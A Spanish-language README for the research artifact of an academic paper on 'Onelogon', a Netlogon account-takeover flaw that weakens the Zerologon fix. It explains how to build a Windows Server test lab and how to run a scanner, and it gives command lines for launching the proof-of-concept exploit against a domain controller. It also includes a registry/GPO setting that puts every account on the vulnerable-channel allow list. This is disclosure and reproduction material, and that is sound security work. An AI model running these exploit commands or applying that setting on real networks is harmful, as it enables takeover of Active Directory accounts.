
Código y datos para nuestro artículo "Onelogon: Taking over Active Directory Accounts via Netlogon" (WOOT’26).
Este repositorio contiene el código y los datos que acompañan a nuestro artículo Onelogon: Tomando el control de cuentas de Active Directory mediante Netlogon (WOOT'26).
La vulnerabilidad descrita en nuestro artículo ataca una debilidad del parche criptográfico de 2020 para la vulnerabilidad Zerologon. Las cuentas incluidas en una directiva de grupo destinada a permitir la compatibilidad con configuraciones heredadas que no admiten la firma y el sellado de Netlogon son vulnerables a este ataque. Una descripción detallada de la vulnerabilidad, la cadena de ataque completa esperada y las posibles mitigaciones se pueden encontrar en el artículo.
@inproceedings{woot2026-onelogon,
title = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
author = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
date = {2026-08},
editor = {Bianchi, Antonio and Classen, Jiska},
location = {Baltimore, MD, USA},
publisher = {USENIX Association}
}
El artefacto consiste en un proyecto de Python poetry para el escáner y los exploits.
Para ejecutar los scripts incluidos en el artefacto, instale Python (3.12 o posterior) y poetry (instrucciones) o uv (instrucciones). Por simplicidad, enumeramos los comandos asumiendo que se usa poetry; si prefiere usar uv, basta con reemplazar cualquier mención de poetry por uv.
Todos los comandos de este documento deben ejecutarse en el directorio raíz del artefacto (donde se encuentra este README).
Si se usa poetry, ejecute poetry install para instalar todas las dependencias.
Para reproducir los resultados del artículo, puede configurar un controlador de dominio con una versión de Windows Server que tenga corregido Zerologon (hemos verificado el exploit contra las versiones 2019 y 2025).
Para configurar el controlador de dominio en una instalación nueva de Windows Server 2025, ejecute los siguientes comandos:
# Update system and rename computer to "DC"
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart
# Set up the domain (as "onelogon.local")
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"
# Disable Administrator password expiry to keep the VM usable
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true
La vulnerabilidad se aplica a cualquier cuenta incluida en la DACL del objeto de directiva de grupo Controlador de dominio: Permitir conexiones vulnerables de canal seguro de Netlogon o en la clave de registro correspondiente:
HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList
Puede configurar manualmente estos parámetros en el controlador de dominio (recuerde ejecutar gpupdate /force si actualiza la entrada de GPO), o ejecutar el siguiente comando para agregar todas las cuentas a la DACL en la clave de registro:
Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
-Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
-ValueName "VulnerableChannelAllowList" `
-Type String `
-Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone
Para determinar qué cuentas enumera un controlador de dominio en su VulnerableChannelAllowList, proporcionamos un escáner que analiza el subárbol del registro y el recurso compartido de volumen de GPO del controlador de dominio. Tenga en cuenta que acceder al registro para este escaneo requiere privilegios de administrador de dominio (el exploit, por supuesto, no los requiere).
# Use the specified username and password to scan the target DC.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>
# Specify `--help` to get additional usage instructions.
poetry run scan --help
Un resultado de escaneo positivo (hay cuentas vulnerables en el controlador de dominio) mostrará el descriptor de seguridad que contiene las cuentas vulnerables (en el lenguaje de definición de descriptores de seguridad de Microsoft):
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)
Un resultado negativo (el controlador de dominio objetivo no es vulnerable) tendrá este aspecto:
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
- The system cannot find the file specified.
Para ejecutar el exploit de prueba de concepto contra un controlador de dominio objetivo, seleccione primero una cuenta vulnerable. Necesitará la dirección IP del controlador de dominio, su nombre de host y el nombre de la cuenta vulnerable.
En nuestra configuración de ejemplo, el controlador de dominio vulnerable se llama DC. Su cuenta de máquina (DC$) está incluida en la directiva GPO y, por lo tanto, es vulnerable a Onelogon.
# Run the meet-in-the-middle attack (Section 4.5 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
# Run the 24-bit brute-force with a computer account (Section 4.4 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (slow) 32-bit brute-force with a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (very slow) 32-bit brute-force without a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
Como ilustración, proporcionamos la salida de una ejecución exitosa del ataque meet-in-the-middle contra un entorno de prueba: